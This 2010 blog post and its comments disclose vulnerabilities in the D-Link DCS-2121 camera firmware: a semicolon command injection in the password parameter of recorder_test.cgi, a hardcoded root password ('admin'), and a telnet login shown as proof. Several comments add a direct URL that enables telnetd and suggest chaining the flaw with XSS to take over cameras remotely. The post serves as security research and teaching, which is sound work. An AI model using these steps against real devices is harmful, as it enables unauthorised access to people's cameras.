Monday, September 27, 2010

D-Link DCS-2121 and the state of embedded security

Introduction

I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:
  • Megapixel camera + microphone + speaker
  • WiFi, UPnP and dynamic DNS supported
  • Web and Mobile Web access to streaming data
  • Motion detection
  • SDCard recording
It is also an embedded system running Linux operating system; therefore I decided to have a look at it ;) A firmware upgrade is available here (version 1.04 at the time of writing), which is very convenient for further analysis.

Firmware analysis

$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745
(...)

$ unzip dcs-2121_fw_1.04_3227.zip
Archive: dcs-2121_fw_1.04_3227.zip
inflating: DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt

$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable


Yes, firmware is … a shell script file! In fact, this file is broken into two parts:
  • A shell script
  • A binary blob

The shell script is very small - interesting parts are the following:

(...)
BLOCKS="norboot.bin(0x10000,65536),vmlinuz(0x60000,1048576),cram_image(0x160000,0x5E0000),autoboot.bin(0x2000,8192)"
(...)
extract() {
# tarLine will be replaced with a real number by Makefile
tail -n +153 "$1"
}
(...)
extract "$self" | ddPack - || exit 1
(...)

"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a CramFS filesystem is used.

CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).

$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1
5+1 records in
5+1 records out
6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s


$ file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files


$ sudo mount -o loop,ro cramfs /mnt/loop/
ls /mnt/loop/
bin  dev  etc  lib  linuxrc  mnt  opt  proc  sbin  scripts  tmp  usr  var

We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)

#!/bin/sh


# get current setting from tdb
# format looks like VariableName_type
onGetSetting() {
        result=""
}


# make sure, ...
# 1. $result is set
# 2. variables in dumpXml are all set
onUpdateSetting() {
        result="ok"
        if [ "$command" = "on" ]; then
            /usr/sbin/telnetd 1>/dev/null 2>/dev/null
        else
            killall telnetd 1>/dev/null 2>/dev/null
        fi
}


onDumpXml() {
        xmlBegin index.xsl home-left.lang index.lang
        resultTag $result
        xmlEnd
}


scenario=$(basename $0 | cut -d'.' -f1)


. ../../xmlFunctions.sh
. ../../cgiMain.sh

However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the OrangeBox (now dead link) to DD-WRT. Let's look for compiled CGI that might be calling system().

var/www/cgi/admin$ fgrep system *
Binary file adv_audiovideo.cgi matches
Binary file adv_godev.cgi matches
Binary file adv_sdcard.cgi matches
Binary file calibration.cgi matches
Binary file export.cgi matches
Binary file go_sleep.cgi matches
Binary file import.cgi matches
Binary file netWizard.cgi matches
Binary file pt8051_settings.cgi matches
Binary file pt_settings.cgi matches
Binary file reboot.cgi matches
Binary file recorder_status.cgi matches
Binary file recorder_test.cgi matches
Binary file reset.cgi matches
Binary file rs485_control.cgi matches
Binary file tools_admin.cgi matches
Binary file tools_system.cgi matches
Binary file wireless_ate.cgi matches

Let's focus on those files, and look for possibly unsecure calls.

$ strings -f * | grep "%s"
adv_godev.cgi: TinyDBError %s
adv_sdcard.cgi: rm -rf "%s"
adv_sdcard.cgi: %s/video
adv_sdcard.cgi: mkdir -m 0777  %s/video
adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l
pt_settings.cgi: TinyDBError %s
recorder_test.cgi: TinyDBError %s
recorder_test.cgi: umount %s
recorder_test.cgi: mkdir -p %s
recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s
recorder_test.cgi: touch %s
rs485_control.cgi: TinyDBError %s
rs485_control.cgi: RS485PresetControl::%s(), unexpected command

So … "recorder_test.cgi" potentially calls system("smbmount //%s/%s %s -o username=%s,password=%s") … Let's see if "password" parameter is properly escaped.

Try #1 with password "toto". Command result is "mntFailure".
Try #2 with password "toto;/bin/true". Command result is "ok" :)

It is now time to start that "/usr/sbin/telnetd" server :) But wait ... what is "root" password ?

"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.

(...)

start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
#telnetd > /dev/null 2> /dev/null
/bin/agent &
#/sbin/syslogd
addlog System is booted up.
echo "rc.local start ok."
}
(...)

So ... "root" password is hardcoded to "admin". How cool is that ? ;)

$ telnet 192.168.0.117 23

DCS-2121 login: root
Password: admin

BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # uname -a
uname -a
Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown


Conclusion

As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.

Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)


Bonus: how to find D-Link cameras on the Internet.

17 comments:

fhoguin said...

Very interesting, although it's strange that the firmware update file wasn't encrypted in some way.

A few weeks ago I reverse engineered archos AOS1 firmware update file format, and it starts with an RSA-encrypted block containing an AES-128 key, and the rest of the file is encrypted with this key.

But anyway, the semicolon injection is very cool.

blah said...

Au passage, merci pour le lien et la belle injection SQL présente ici ;-) : http://www.dlink.com.sg/support/Support_download.asp?idsupport=745

jduck said...

Nice post!

bknabe said...

I may check my Linksys router to see if it's vulnerable. I don't know if it's Linux based, but it won't take much to find out. ;)

James Shewmaker said...

Only exploitable by admin ... with a hardcoded root password ... cue XSS payload ...

Anonymous said...

how did you knew that the root password was Admin from that?

dr said...

Nice writeup. Good bug. Very educational. --dr

newsoft said...

@fhoguin: I thought Archos firmwares were tougher than that. If memory serves, Archos 704 is built upon a Texas Instruments DSP that embeds an encryption key within the CPU itself.

@blah: je décline toute responsabilité, etc. ;)

@anonymous: it took approximately 5 seconds for John the Ripper to find out that the password was "admin" from the hash :)

Unknown said...

> However, since Web access requires authentication, (...) . Do not panic :)

html Mail + your bug = remote rooter farming

[ DO PANIC NOW ]

Cool post btw ;)

Cheers,

endrazine-

0xacdc said...

Thx man, very educational indeed.

I shall propose the same kind of "exercise", within similar boundaries, to my own coworkers.

Anonymous said...

This is what happens when a company blatantly rips off the work of volunteers. Sad, but inevitable.

Tolengo said...

I still don't understand how you enable the telnetd.cgi
I was testing with:
http://192.168.1.20/cgi/admin/telnetd.cgi?on

returns: unknown command. Please specify 'on' or 'off'.

Could you explain me what I have to do to enable telnet?

Thank you.

Sylvio Rogério Soares said...

Hello all,

I'm testing a DCS-2121 and need to translate the admin interface of the camera to my native language, Brazilian Portuguese. How do I get access to the firmware, which is currently 1.05, in order to edit the text portion of it?
Can anyone help me ... the credits published without referring the help. Thank you.

newsoft said...

@Sylvio Sorry, I can't help. Reading the firmware content is easy, but writing requires full understanding of the "ddPack" format. There is a long way to go, and I am not sure the target is really worth it ...

Anonymous said...

Could you explain me what I have to do to enable telnet?

Thank you.

Unknown said...

Thanks for sharing the post...great help...keep it up!!!

d-link

Anonymous said...

not need to inject by password... just use CGI script

(@Tolengo) use : http://192.168.1.20/cgi/admin/telnetd.cgi?command=on